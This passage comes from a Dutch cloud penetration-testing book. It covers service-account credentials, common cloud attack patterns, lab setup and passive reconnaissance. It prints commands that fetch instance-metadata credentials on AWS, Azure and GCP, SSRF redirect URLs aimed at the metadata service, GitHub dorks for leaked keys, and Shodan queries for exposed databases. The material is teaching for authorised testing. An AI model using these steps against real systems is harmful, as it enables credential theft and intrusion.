# AWS: Assume een andere role (als je sts:AssumeRole rechten hebt)
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME --role-session-name pentest

IB Tip: De Command Library bevat commando’s voor IAM-enumeratie en privilege escalation. Zoek op cloud_iam_enum voor enumeratie en cloud_privesc voor escalatie-paden.

Service Accounts en Managed Identities

In een on-premise AD-omgeving zijn service accounts een van de rijkste doelwitten voor aanvallers. In het vorige boek behandelden we Kerberoasting – het aanvragen en offline kraken van service tickets voor accounts met een SPN. In de cloud bestaan vergelijkbare constructies, maar ze werken anders.

AWS: EC2-instances kunnen een instance profile hebben die een IAM-role koppelt aan de instance. Elke applicatie op die instance kan de temporary credentials van die role opvragen via het Instance Metadata Service (IMDS) endpoint: http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME. Lambda-functies hebben een execution role waarvan de credentials beschikbaar zijn als environment variables.

Azure: VMs en App Services kunnen een managed identity hebben – een identiteit in Entra ID die automatisch wordt beheerd. De credentials zijn beschikbaar via het Azure IMDS endpoint: http://169.254.169.254/metadata/identity/oauth2/token. Er zijn twee soorten: system-assigned (gekoppeld aan de lifecycle van de resource) en user-assigned (onafhankelijk beheerd).

GCP: Compute Engine instances draaien standaard met een default service account dat – hier komt het – Editor-rechten heeft op het hele project. Dat is alsof elke werkstation in je netwerk automatisch Domain Admin-rechten zou krijgen. Google heeft dit enigszins aangepast in nieuwe projecten, maar legacy-projecten draaien vaak nog met deze standaard.

# AWS: Metadata ophalen van een EC2-instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

# Azure: Managed identity token ophalen
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# GCP: Service account token ophalen
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

Het patroon is bij alle drie de providers hetzelfde: als je code kunt uitvoeren op een cloud-resource, heb je toegang tot de credentials van de identiteit die aan die resource is gekoppeld. En die credentials geven je toegang tot alles waarvoor die identiteit rechten heeft.

Dit is het cloud-equivalent van het dumpen van LSASS op een server en het vinden van een service account-hash. Alleen hoef je in de cloud geen Mimikatz te draaien en hoef je geen hash te kraken. De credentials liggen klaar op een HTTP-endpoint dat bereikbaar is zonder authenticatie vanaf de instance zelf.

De realiteit van cloud-omgevingen

Er is een reden dat cloud-pentests bijna altijd bevindingen opleveren. Net als bij on-premise netwerken is het niet omdat pentesters zo briljant zijn. Het is omdat cloud-omgevingen, collectief en systematisch, dezelfde fouten bevatten.

De gemiddelde cloud-omgeving die we testen ziet er als volgt uit: er zijn drie tot vijf AWS-accounts, ooit opgezet met de beste intenties en een mooi architectuurdiagram. Het productie-account is redelijk strak geconfigureerd, want daar kijkt de auditor naar. Het development-account is een digitale speeltuin waar elke ontwikkelaar AdministratorAccess heeft, want “anders duurt het te lang.” Het staging-account is een kopie van productie, maar dan zonder de beveiligingsmaatregelen, want “die komen later.” En ergens staat een account dat niemand meer herkent, aangemaakt door een collega die twee jaar geleden is vertrokken, met een root-account waarvan het wachtwoord in een gedeeld spreadsheet staat dat via een publieke link toegankelijk is.

Het mooiste is de Infrastructure as Code. De organisatie gebruikt Terraform. Er zijn modules. Er is een pipeline. Het ziet er professioneel uit. Maar naast de Terraform-state staan honderden resources die handmatig zijn aangemaakt via de console, die niet in de state zitten, en waarvan niemand weet wie ze heeft gemaakt of waarom ze er zijn. Het is alsof je een perfecte bouwtekening hebt voor een huis, maar de helft van de kamers is bijgebouwd door anonieme klusjesmannen die niet op de tekening staan.

En dan is er IAM. Het IAM-beleid van de gemiddelde AWS-omgeving is het product van drie jaar ad-hoc beslissingen. Elke keer dat een developer zei “ik heb meer rechten nodig” werd er een policy toegevoegd. Elke keer dat iets niet werkte werd de scope verbreed. Het resultaat is een spinnenweb van policies, roles, en trust relationships dat niemand volledig overziet, dat niemand durft aan te passen uit angst dat er iets breekt, en dat langzaam maar zeker steeds permissiever wordt.

De tools in dit boek – ScoutSuite, Pacu, CloudFox, ROADtools – doen precies wat de documentatie zegt. Ze werken omdat de omgevingen die ze scannen vol zitten met configuratiefouten die iedereen kent en niemand fixt. Want fixen kost tijd, en tijd kost geld, en geld gaat naar features, niet naar security. Tot het misgaat. Dan gaat het geld naar incident response, en dat kost meer dan de fix had gekost.

Dat is de werkelijke les van cloud-pentesting. Dezelfde les als in de vorige twee boeken. Het gaat niet om de aanval. Het gaat om de verdediging die er niet was.

1.5 Cloud Threat Landscape

MITRE ATT&CK Cloud Matrix

Het MITRE ATT&CK-framework, dat we in de voorgaande delen uitgebreid hebben gebruikt, heeft specifieke matrices voor cloud-omgevingen. De Cloud Matrix bevat technieken voor IaaS (Infrastructure as a Service) en behandelt aanvalspatronen die uniek zijn voor cloud-omgevingen.

De relevante tactics voor cloud-pentesting:

Veelvoorkomende aanvalspatronen

Na honderden cloud-pentests tekenen zich patronen af die zich keer op keer herhalen. Het zijn de cloud-equivalenten van de Domain Admin in drie klikken die we in het vorige boek beschreven.

Patroon 1: Credential Theft via Code Repositories

Een ontwikkelaar commit per ongeluk AWS credentials naar een publiek GitHub-repository. Geautomatiseerde scanners vinden die credentials binnen minuten. De aanvaller gebruikt ze om de AWS-omgeving te enumereren, ontdekt een overprivileged role, en escaleert naar administratortoegang. Van commit tot compromise: minder dan een uur.

Dit is niet hypothetisch. Het gebeurt dagelijks. GitHub heeft tools als Secret Scanning om het te voorkomen, maar die tools werken alleen op publieke repositories, en alleen voor bekende credential-patronen. Een custom API key die niet matcht met een bekend patroon glipt er doorheen als water door een vergiet.

Patroon 2: SSRF naar Cloud Metadata

Een webapplicatie in de cloud bevat een Server-Side Request Forgery-kwetsbaarheid. De aanvaller gebruikt die SSRF om het Instance Metadata Service endpoint te bereiken (169.254.169.254), haalt de temporary credentials op van de instance role, en gebruikt die credentials om de cloud-omgeving te verkennen.

Dit is het patroon dat Capital One in 2019 tot een datalek van 106 miljoen records bracht. Het is een patroon dat de webapplicatietechnieken uit het eerste boek verbindt met de cloud-technieken uit dit boek. SSRF is de brug.

IB Tip: IB’s SSRF-module bevat redirect-endpoints specifiek voor cloud metadata. Het endpoint /ssrf/redirect?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ demonstreert dit exacte aanvalspatroon. Gebruik het in je lab om te oefenen.

Patroon 3: Misconfiguratie als Initieel Toegangspunt

Geen exploit. Geen zero-day. Gewoon een S3 bucket met een policy die "Principal": "*" zegt. Of een Azure Storage Account met een SAS-token dat nooit verloopt. Of een GCP Cloud Function die zonder authenticatie kan worden aangeroepen.

Misconfiguratie is de nummer een oorzaak van cloud-breaches. Niet omdat cloud-engineers dom zijn – ze zijn het niet – maar omdat de complexiteit van cloud-configuratie de menselijke capaciteit om het te overzien overstijgt. Een enkele AWS-account kan duizenden resources bevatten, elk met hun eigen policies, security groups, en access control lists. Dat is niet te beheren door een mens. En het wordt ook niet beheerd door een mens. Het wordt beheerd door een combinatie van Terraform-templates, handmatige console-klikken, en ad-hoc CLI-commando’s waarvan niemand precies weet wie ze wanneer heeft uitgevoerd.

Patroon 4: Hybrid Identity Exploitation

De on-premise Active Directory is gesynchroniseerd naar Azure via Entra Connect. Een aanvaller compromitteert een on-premise account, ontdekt dat de password hash is gesynchroniseerd naar Entra ID, en gebruikt die om in te loggen op Azure-resources. Of andersom: een gecompromitteerd cloudaccount wordt gebruikt om de on-premise omgeving binnen te dringen via pass-through authentication of password writeback.

Dit patroon is het kruispunt van de vorige twee boeken en dit boek. Het hybride identiteitsmodel dat de meeste organisaties gebruiken is tegelijkertijd de kracht en de achilleshiel van hun beveiliging.

# ROADtools: Entra ID enumeratie na het verkrijgen van tokens
roadrecon auth --access-token eyJ0eXAi...
roadrecon gather
roadrecon gui

# Resultaat: een compleet overzicht van alle gebruikers, groepen,
# applicatie-registraties, service principals, en hun relaties in Entra ID

De kosten van een cloud-breach

Een gemiddelde cloud-breach kost een organisatie meer dan een on-premise breach. Niet omdat de technische schade groter is – hoewel dat vaak zo is vanwege de schaal – maar omdat de juridische en compliance-gevolgen zwaarder wegen. Een gelekt S3 bucket met klantgegevens valt onder de AVG, onder sector-specifieke regelgeving, en onder de SLA’s die je met je klanten hebt afgesloten. De boetes alleen al kunnen in de miljoenen lopen.

De ironie is dat de fix voor de meeste cloud-misconfiguraties triviaal is. Een policy-wijziging. Een checkbox. Een enkele CLI-command. De oplossing is er; de wil om hem toe te passen is er niet altijd.

1.6 Het lab opzetten

Je hebt een lab nodig. Net als in de voorgaande delen geldt: je leert niet door te lezen, je leert door te doen. En je doet het in je eigen omgeving, niet in die van een ander.

Free Tier Accounts

Elk van de drie grote cloudproviders biedt een gratis laag aan die ruim voldoende is om een pentest-lab op te zetten.

Belangrijk: Gebruik een dedicated e-mailadres en betalingsmethode voor je lab-accounts. Zet budget-alerts in. Cloud-kosten kunnen snel oplopen als je vergeet resources op te ruimen na je oefensessie. Een EC2-instance die een weekend draait kost een paar euro. Een EC2-instance die een maand draait omdat je bent vergeten hem te stoppen kost aanzienlijk meer.

# AWS: Budget-alert instellen (doe dit als eerste!)
aws budgets create-budget \
  --account-id ACCOUNT_ID \
  --budget '{
    "BudgetName": "pentest-lab",
    "BudgetLimit": {"Amount": "10", "Unit": "USD"},
    "TimeUnit": "MONTHLY",
    "BudgetType": "COST"
  }' \
  --notifications-with-subscribers '[{
    "Notification": {
      "NotificationType": "ACTUAL",
      "ComparisonOperator": "GREATER_THAN",
      "Threshold": 80
    },
    "Subscribers": [{"SubscriptionType": "EMAIL", "Address": "jouw@email.nl"}]
  }]'

Sandbox Accounts

Voor serieuze oefening is een AWS Organizations-setup met sandbox-accounts ideaal. Maak een organization aan met een management-account en een of meer member-accounts die je als pentest-doelwitten configureert. Service Control Policies (SCPs) op het management-account voorkomen dat je per ongeluk resources aanmaakt in regio’s die je niet gebruikt.

In Azure kun je meerdere subscriptions aanmaken binnen dezelfde tenant, of een aparte tenant opzetten voor je lab. Het laatste is veiliger – het voorkomt dat lab-resources interacteren met eventuele productie-resources.

In GCP maak je een apart project aan voor je lab. GCP’s project-isolatie is sterk; resources in het ene project zijn niet zichtbaar in het andere, tenzij je expliciet cross-project toegang configureert.

Tools installeren

Op je aanvalsmachine (Kali of ParrotOS):

# AWS CLI v2
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install

# Azure CLI
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

# Google Cloud CLI
curl https://sdk.cloud.google.com | bash
gcloud init

# ScoutSuite (multi-cloud auditing)
pip install scoutsuite

# Pacu (AWS exploitation)
git clone https://github.com/RhinoSecurityLabs/pacu.git
cd pacu && pip install -r requirements.txt

# ROADtools (Azure AD/Entra ID)
pip install roadrecon roadlib

# CloudFox (multi-cloud enumeration)
# Download binary van https://github.com/BishopFox/cloudfox/releases

# Prowler (AWS/Azure security assessment)
pip install prowler

# enumerate-iam (AWS IAM enumeration)
git clone https://github.com/andresriancho/enumerate-iam.git

Bewuste Misconfiguraties voor het Lab

Net als in het vorige boek configureer je je lab met bewuste kwetsbaarheden. In de cloud is dat bijzonder eenvoudig, want de standaardinstellingen zijn vaak al kwetsbaar genoeg – je hoeft ze alleen maar niet te verbeteren.

Aanbevolen lab-configuratie voor AWS:

• Maak een IAM user aan met een Access Key en een overly permissive policy (bijv. iam:*, s3:*, ec2:*)
• Maak een S3 bucket met een bucket policy die publieke leestoegang toestaat
• Lanceer een EC2-instance met een instance profile die AdministratorAccess heeft
• Maak een Lambda-functie met hardcoded database-credentials in environment variables
• Configureer een security group die SSH (22) en RDP (3389) toestaat van 0.0.0.0/0

Aanbevolen lab-configuratie voor Azure:

• Maak een user aan in Entra ID met Global Reader-rechten
• Maak een Storage Account met een SAS-token met een vervaldatum ver in de toekomst
• Deploy een VM met een system-assigned managed identity die Contributor-rechten heeft op de subscription
• Maak een App Registration met een client secret en overly permissive API permissions

IB Tip: Gebruik de Notes-functie in IB (/dashboard/notes) om je lab-configuratie te documenteren. Maak een notitie “Lab Setup” met de Account IDs, regio’s, en bewust aangebrachte misconfiguraties. Zet de “Rapport” toggle uit – deze informatie is voor jezelf, niet voor de opdrachtgever.

Er bestaan ook kant-en-klare vulnerable-by-design labs:

# CloudGoat: vulnerable-by-design AWS lab
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat && pip install -r requirements.txt
python3 cloudgoat.py config profile
python3 cloudgoat.py create iam_privesc_by_rollback

Een waarschuwing over kosten: vulnerable-by-design labs deployen echte resources in je cloud-account. CloudGoat maakt EC2-instances, Lambda-functies, S3 buckets, en IAM-rollen aan die kosten met zich mee kunnen brengen. Verwijder je lab na elke sessie met python3 cloudgoat.py destroy [scenario]. Een vergeten CloudGoat-scenario dat een weekend draait is niet duur, maar een vergeten scenario dat een maand draait wel.

De discipline om je lab op te ruimen na gebruik is trouwens een goede oefening voor de praktijk. Een van de meest voorkomende bevindingen in cloud-pentests is “vergeten test-resources in productie-accounts.” Het is grappig tot je beseft dat je het zelf ook doet.

IB Tip: Gebruik de Task Runner in IB om cloud-tools vanuit het dashboard te starten. Voeg een task toe voor ScoutSuite-scans en Pacu-modules, zodat de output automatisch wordt gelogd en doorzoekbaar is via het Outputs-paneel.

1.7 IB en Cloud Pentesting

Incompetent Bastard is gebouwd rond on-premise en webapplicatie-pentesting, maar het dashboard is direct bruikbaar voor cloud-engagements. Laten we doorlopen hoe IB de cloud-workflow ondersteunt.

SSRF en Cloud Metadata

De SSRF-module in IB (/ssrf) is ontworpen voor precies het aanvalspatroon dat we in sectie 1.5 beschreven: SSRF naar cloud metadata. De redirect-endpoints in IB sturen requests door naar de metadata-service van de cloudprovider:

# AWS metadata via IB SSRF redirect
http://YOUR_IB_IP:5000/ssrf/redirect?url=http://169.254.169.254/latest/meta-data/

# Azure IMDS via IB SSRF redirect
http://YOUR_IB_IP:5000/ssrf/redirect?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01

# GCP metadata via IB SSRF redirect
http://YOUR_IB_IP:5000/ssrf/redirect?url=http://metadata.google.internal/computeMetadata/v1/

Elke redirect wordt gelogd in het IB-dashboard, zodat je precies kunt documenteren welke metadata werd opgehaald, wanneer, en via welke SSRF-vector.

Command Library: Cloud-commando’s

De Command Library in IB bevat cloud-specifieke commando’s die hetzelfde patroon volgen als de bestaande commando’s: kopieerbare blokken met inline commentaar, georganiseerd per techniek.

De cloud-commando’s zijn herkenbaar aan hun prefix:

Findings Templates: Cloud-bevindingen

De standaard finding templates in IB bevatten cloud-specifieke templates voor veelvoorkomende misconfiguraties:

• Publiek toegankelijke storage (S3/Blob/GCS)
• Overprivileged IAM identiteiten
• Ontbrekende encryptie at rest
• Onbeveiligde metadata-service (IMDSv1)
• Hardcoded credentials in serverless functies
• Ontbrekende logging (CloudTrail/Activity Log/Audit Logs)
• Cross-account trust misconfiguraties

Elk template bevat OWASP-classificatie, CWE-nummer, MITRE ATT&CK Cloud Matrix-referentie, CVSS 4.0-vector, en aanbevelingen die specifiek zijn voor elke cloudprovider.

IB Tip: Cloud-findings scoren in CVSS 4.0 anders dan on-premise findings. Een publiek toegankelijke S3 bucket scoort AV:N/AC:L/AT:N/PR:N/UI:N – het is bereikbaar vanaf het internet, zonder complexiteit, zonder voorwaarden, zonder authenticatie. Het Subsequent System Impact hangt af van wat er in de bucket staat. Documenteer dit zorgvuldig in de CVSS-calculator.

Rapportage: Cloud-specifieke Elementen

Cloud-pentest-rapporten hebben aanvullende elementen die in on-premise rapporten niet voorkomen:

• Account/Subscription/Project scope: Welke cloud-accounts zijn getest?
• Service coverage: Welke services zijn geenumereerd en getest?
• Compliance mapping: Welke CIS Benchmark-checks falen?
• Resource ARN/URI’s: Elke cloud-resource heeft een uniek adres dat in de finding hoort
• IAM policy-analyse: JSON-policies als evidence

IB’s rapportgenerator verwerkt deze elementen via het standaard LaTeX-template. Gebruik het locatie-veld voor het resource ARN/URI en het uitwerkingsveld voor de policy-analyse.

Wat je in dit boek zult leren

Dit boek is opgedeeld in hoofdstukken die ruwweg het pad volgen van een cloud-penetratietest:

Elk hoofdstuk bevat theorie, praktijkvoorbeelden met commando’s voor alle drie de grote providers, IB-verwijzingen, verdedigingsmaatregelen, en een referentietabel. De volgorde weerspiegelt het pad dat een aanvaller typisch volgt, maar net als in de voorgaande delen is dat pad in de praktijk zelden lineair.

De volgorde van hoofdstukken weerspiegelt het pad dat een aanvaller typisch volgt, maar in de praktijk is dat pad zelden lineair. Je vindt credentials in de reconnaissance-fase die je direct brengen bij privilege escalation. Je stuit op een cross-account trust terwijl je eigenlijk bezig was met storage-enumeratie. Je ontdekt een hybride identiteitspad terwijl je een Azure VM aan het onderzoeken was. Dat is normaal. Dat is hoe cloud-pentesting werkt.

En een laatste opmerking: de cloud verandert sneller dan welk boek ook kan bijhouden. Services worden hernoemd (Azure AD werd Entra ID), API’s worden gewijzigd, standaardinstellingen worden aangescherpt. De concepten en patronen in dit boek zijn duurzaam – de specifieke commando’s en interfaces kunnen veranderen. Raadpleeg altijd de actuele documentatie van de provider naast dit boek. De officiële documentatie vertelt je hoe het zou moeten werken. Dit boek vertelt je hoe het werkelijk is.

Klaar? Open je terminal. Configureer je CLI. En laten we de cloud in.

Referentietabel Hoofdstuk 1

Cloud Verkenning

“De beste manier om een kasteel te verkennen is niet door tegen de muren te bonken, maar door de bouwtekeningen op te zoeken bij het kadaster.”

De cartograaf in de mist

Er is iets fundamenteel anders aan het verkennen van cloudomgevingen vergeleken met traditionele netwerken. Bij een klassieke pentest begin je met een IP-bereik, scan je poorten, en bouwt je langzaam een beeld op van wat er draait. Het is overzichtelijk. Het is tastbaar. Je kunt het tekenen op een whiteboard.

Cloud is anders. Cloud is een stad die zichzelf voortdurend herbouwt. Servers verschijnen en verdwijnen. IP-adressen roteren. Diensten hebben geen poorten in de traditionele zin – ze hebben API-endpoints, storage URLs, en management consoles die zich verschuilen achter domeinnamen die eruitzien alsof iemand zijn kat over het toetsenbord liet lopen. d3bucket-prod-eu-west-1-acme-backup-2024.s3.amazonaws.com. Ja, dat is een echt patroon.

En toch – en hier wordt het interessant – laat de cloud meer sporen achter dan welk traditioneel netwerk ook. Elke S3 bucket heeft een DNS-naam. Elke Azure-webapp eindigt op .azurewebsites.net. Elke GCP-service staat geregistreerd in certificate transparency logs. De cloud is als een stad die geen gordijnen kent: alles is zichtbaar, als je maar weet waar je moet kijken.

Het probleem is dat de meeste organisaties denken dat hun cloudinfrastructuur onzichtbaar is. Ze geloven oprecht dat het feit dat hun servers “in de cloud” draaien, betekent dat niemand ze kan vinden. Dat is alsof je denkt dat je auto onzichtbaar wordt omdat je hem in een parkeergarage zet. De auto staat er nog. Er staat een nummerbord op. En de parkeergarage heeft ramen.

In dit hoofdstuk gaan we systematisch door elke laag van cloud reconnaissance. We beginnen passief – zonder het doelwit aan te raken – en bouwen op naar technieken die actieve interactie vereisen. Bij elke stap laten we zien welke tools je gebruikt, welke fouten organisaties maken, en hoe IB het proces ondersteunt.

IB Tip: De Command Library bevat cloud-specifieke reconnaissance commands onder de prefix recon_*. Veel van de tools en technieken in dit hoofdstuk zijn beschikbaar als command files die je direct kunt kopieren en aanpassen.

2.1 Passieve reconnaissance

2.1.1 De kunst van het niet aanraken

Passieve reconnaissance in de cloud is een paradox: je verzamelt een enorme hoeveelheid informatie over iemands infrastructuur, en toch heb je geen enkel packet naar hun systemen gestuurd. Alles wat je vindt, is publiekelijk beschikbaar. Dat is het verontrustende deel. Niet dat jij het kunt vinden – maar dat iedereen het kan vinden.

De cloudproviders zelf zijn je beste vrienden bij passieve recon. Ze publiceren hun IP-bereiken. Ze registreren domeinnamen voor hun klanten. Ze loggen certificaten in publieke databases. Het is alsof een beveiligingsbedrijf een lijst publiceert van alle kluizen die het heeft geinstalleerd, inclusief adressen.

2.1.2 DNS: het fundament

Elke cloud reconnaissance begint met DNS. Niet omdat DNS de meest geavanceerde techniek is, maar omdat het de meest informatieve is. DNS-records vertellen je niet alleen waar een server staat – ze vertellen je bij welke cloudprovider, in welke regio, en vaak ook welke dienst wordt gebruikt.

# Basis DNS records opvragen
dig target.com ANY
dig target.com MX
dig target.com TXT
dig target.com NS
dig target.com CNAME

# Specifiek zoeken naar cloud-gerelateerde CNAME records
dig staging.target.com CNAME
dig api.target.com CNAME
dig mail.target.com CNAME
dig cdn.target.com CNAME

Waar je op let bij de resultaten:

Die TXT-records zijn goud waard. Een SPF-record dat include:amazonses.com bevat, vertelt je dat het bedrijf AWS SES gebruikt voor transactionele e-mail. Een domeinverificatie-record voor Microsoft 365 vertelt je dat ze Office 365 draaien. Het is een boodschappenlijst van cloud-diensten, gratis beschikbaar voor iedereen die ernaar vraagt.

En dan zijn er nog de NS-records. Als de nameservers awsdns bevatten, dan gebruikt het bedrijf Route 53. Als ze azure-dns bevatten, Azure DNS. Als ze googledomains bevatten, Google Cloud DNS. De DNS-provider is vaak dezelfde als de primaire cloudprovider. Niet altijd, maar vaak genoeg om er een aanname op te baseren.

# Route 53 detectie
dig target.com NS
# Look for: ns-xxxx.awsdns-xx.org

# Azure DNS detectie
dig target.com NS
# Look for: ns1-xx.azure-dns.com

# Google Cloud DNS detectie
dig target.com NS
# Look for: ns-cloud-xx.googledomains.com

2.1.3 Certificate Transparency logs

Certificate Transparency (CT) logs zijn misschien wel het krachtigste passieve reconnaissance-instrument dat ooit per ongeluk is gecreeerd. Het systeem werd ontworpen om frauduleuze TLS-certificaten te detecteren. Het neveneffect is dat elke certificaataanvraag – voor elk subdomein, elke testomgeving, elke vergeten staging-server – publiekelijk wordt gelogd.

Voor cloudverkenning is dit onbetaalbaar. Organisaties vragen certificaten aan voor hun cloud-endpoints, en daarmee publiceren ze effectief een inventarislijst van hun hele infrastructuur.

# Alle (sub)domeinen ophalen via crt.sh
curl -s "https://crt.sh/?q=%25.target.com&output=json" \
    | jq -r '.[].name_value' \
    | sort -u \
    | tee ct-subdomains.txt

# Filter op cloud-gerelateerde patronen
grep -iE "aws|azure|gcp|cloud|s3|blob|bucket|staging|dev|test|api" ct-subdomains.txt

# Zoek naar wildcard certificaten (vaak cloud load balancers)
curl -s "https://crt.sh/?q=%25.target.com&output=json" \
    | jq -r '.[].name_value' \
    | grep "\*\." \
    | sort -u

Het resultaat is vaak onthullend. dev-api.target.com, staging-app.target.com, jenkins.internal.target.com, grafana-monitoring.target.com. Elk van deze subdomeinen is een potentieel doelwit, en velen ervan waren nooit bedoeld om publiekelijk zichtbaar te zijn.

Het cynische deel? Organisaties besteden duizenden euro’s aan het verbergen van hun infrastructuur achter WAFs en CDNs, maar registreren vrolijk certificaten voor hun interne subdomeinen in publieke CT-logs. Het is alsof je een muur bouwt om je huis en dan een plattegrond van het interieur op de voordeur plakt.

Alternatieve CT-bronnen:

# Censys (gratis tier beschikbaar)
# Via de API:
curl -s "https://search.censys.io/api/v2/certificates/search?q=parsed.names:target.com" \
    -H "Authorization: Basic $(echo -n 'API_ID:API_SECRET' | base64)"

# Certspotter
curl -s "https://api.certspotter.com/v1/issuances?domain=target.com&include_subdomains=true&expand=dns_names" \
    | jq '.[].dns_names[]' \
    | sort -u

# Via subfinder (combineert meerdere bronnen)
subfinder -d target.com -sources certspotter,crtsh -silent

2.1.4 Shodan en Censys: het internet doorzoeken

Shodan en Censys scannen voortdurend het hele internet en indexeren alles wat ze vinden. Voor cloudverkenning bieden ze iets unieks: je kunt zoeken op specifieke cloudproviders, services, en zelfs configuratiefouten – zonder zelf een enkel pakket te versturen.

# Shodan CLI -- zoek naar target's cloud assets
shodan search "hostname:target.com"
shodan search "ssl.cert.subject.cn:target.com"
shodan search "org:\"Target Company B.V.\""

# Cloud-specifieke Shodan queries
shodan search "hostname:target.com cloud:aws"
shodan search "hostname:target.com cloud:azure"
shodan search "hostname:target.com cloud:gcp"

# S3 buckets die HTTP headers lekken
shodan search "x-amz-bucket-region hostname:target.com"

# Onbeveiligde diensten in de cloud
shodan search "org:\"Target Company\" port:27017"  # MongoDB
shodan search "org:\"Target Company\" port:9200"   # Elasticsearch
shodan search "org:\"Target Company\" port:6379"   # Redis

# Censys -- vergelijkbare zoekopdrachten
censys search "services.tls.certificates.leaf.names: target.com"
censys search "services.http.response.headers.server: nginx AND services.tls.certificates.leaf.names: target.com"

Shodan’s cloud filter is bijzonder handig. Het identificeert automatisch of een IP-adres in AWS, Azure, GCP, DigitalOcean, of een andere cloudprovider staat. In combinatie met organisatienaam of domeinnaam krijg je een overzicht van alle publiekelijk bereikbare cloud-assets.

De resultaten laten vaak patronen zien die het bedrijf liever verborgen had gehouden. Een MongoDB-instantie op poort 27017 in AWS, zonder authenticatie. Een Elasticsearch-cluster op poort 9200 in Azure, bereikbaar vanaf het internet. Een Redis-server op poort 6379 in GCP, met het standaard wachtwoord. Het klinkt als een karikatuur, maar het gebeurt dagelijks.

2.1.5 GitHub dorking voor cloud credentials

En dan komen we bij de moeder aller passieve reconnaissance-technieken: het doorzoeken van code repositories op hardcoded credentials. Het is 2026, en ontwikkelaars committen nog steeds AWS access keys naar publieke GitHub-repositories. Het is niet eens meer verrassend. Het is een natuurwet, zoals zwaartekracht of het feit dat wachtwoorden altijd op een Post-it naast het beeldscherm staan.

GitHub’s zoekfunctie is een wapen. Gebruik het.

# GitHub Dorks -- zoek in repositories van het target
# (via github.com/search of gh CLI)

# AWS access keys
org:target-company "AKIA"
org:target-company "aws_access_key_id"
org:target-company "aws_secret_access_key"

# Azure credentials
org:target-company "DefaultEndpointsProtocol=https" "AccountKey"
org:target-company "client_secret"
org:target-company "tenant_id" "client_id"
org:target-company "AZURE_CLIENT_SECRET"

# GCP credentials
org:target-company "private_key_id" "private_key"
org:target-company "type" "service_account"

# Generieke cloud secrets
org:target-company filename:.env
org:target-company filename:credentials
org:target-company filename:config extension:yml "password"
org:target-company filename:docker-compose "AWS_"
org:target-company filename:terraform.tfstate
org:target-company filename:.tfvars

# Database connection strings
org:target-company "mongodb+srv://"
org:target-company "postgresql://" "password"
org:target-company "mysql://" "password"

De AKIA prefix is bijzonder nuttig. Alle AWS access key IDs beginnen met AKIA (voor permanente keys) of ASIA (voor tijdelijke credentials via STS). Als je AKIA vindt in een publieke repository, heb je een AWS access key gevonden. Punt. Er is geen andere reden waarom die string in broncode zou staan.

IB Tip: De Command Library bevat GitHub dorking queries voor cloud credentials. Zoek naar cred_* commands voor credential hunting workflows. Combineer deze met de tools in de volgende secties voor geautomatiseerde scans.

Verdedigingsmaatregel: Implementeer pre-commit hooks die credentials detecteren (bijv. git-secrets, detect-secrets). Gebruik AWS Secrets Manager of Azure Key Vault in plaats van hardcoded credentials. Activeer GitHub’s Secret Scanning en reageer onmiddellijk op alerts. Roteer alle credentials die ooit in een repository hebben gestaan – verwijderen uit de code is niet genoeg, want de git history onthoudt alles.

2.2 Subdomain enumeration

2.2.1 Cloud-specifieke subdomeinen

Traditionele subdomain enumeration richt zich op het vinden van alle subdomeinen van een organisatie. Cloud-specifieke subdomain enumeration gaat een stap verder: het zoekt naar subdomeinen die verwijzen naar cloud-diensten, en identificeert daarmee de cloud-footprint van de organisatie.

De cloudproviders gebruiken voorspelbare naamgevingspatronen. Dat is goed voor de bruikbaarheid, maar het maakt het ook makkelijker om ze te vinden.

2.2.2 Tools voor subdomain enumeration

subfinder is de snelste en meest betrouwbare tool voor passieve subdomain enumeration. Het combineert tientallen bronnen – CT logs, Shodan, Censys, VirusTotal, en meer – in een enkele scan.

# Basis subdomain enumeration
subfinder -d target.com -o subdomains.txt

# Met alle bronnen en verbose output
subfinder -d target.com -all -v -o subdomains.txt

# Alleen cloud-gerelateerde subdomeinen
subfinder -d target.com -all -silent \
    | grep -iE "aws|azure|gcp|cloud|s3|blob|bucket|cdn|api|staging|dev"

# Meerdere domeinen tegelijk
subfinder -dL domains.txt -all -o all-subdomains.txt

amass gaat dieper. Het voert niet alleen passieve enumeratie uit, maar kan ook actieve DNS bruteforce, zone transfers, en ASN-mapping doen.

# Passieve enumeratie (geen verkeer naar target)
amass enum -passive -d target.com -o amass-passive.txt

# Actieve enumeratie (met toestemming!)
amass enum -active -d target.com -o amass-active.txt

# Intel-modus: ontdek gerelateerde domeinen via ASN en WHOIS
amass intel -org "Target Company B.V." -o amass-intel.txt
amass intel -asn 12345 -o amass-asn.txt

# Combineer passief + brute force + alterations
amass enum -passive -brute -d target.com \
    -w /usr/share/wordlists/cloud-subdomains.txt \
    -o amass-full.txt

cloud_enum is specifiek ontworpen voor het vinden van cloud-assets. Het zoekt niet alleen naar subdomeinen, maar ook naar S3 buckets, Azure blobs, en GCP buckets op basis van naamgevingsconventies.

# Installatie
pip3 install cloud_enum

# Basis scan
cloud_enum -k target -k targetcompany -k target-company

# Met extra keywords en output
cloud_enum -k target -k targetcompany -k target-prod -k target-dev \
    -l cloud_enum_results.txt

# Alleen specifieke providers
cloud_enum -k target --disable-gcp  # Alleen AWS en Azure
cloud_enum -k target --disable-azure --disable-gcp  # Alleen AWS

cloud_enum probeert variaties op de opgegeven keywords: target-dev, target-staging, target-backup, target-prod, target-data, etc. Het is verbazingwekkend hoe vaak organisaties deze voor de hand liggende naamgevingsconventies gebruiken. acme-backup-prod, acme-database-staging, acme-logs-2024. Het is alsof je je kluiscode baseert op je geboortedatum en dan hoopt dat niemand aan je verjaardag denkt.

2.2.3 Dangling DNS en subdomain takeover

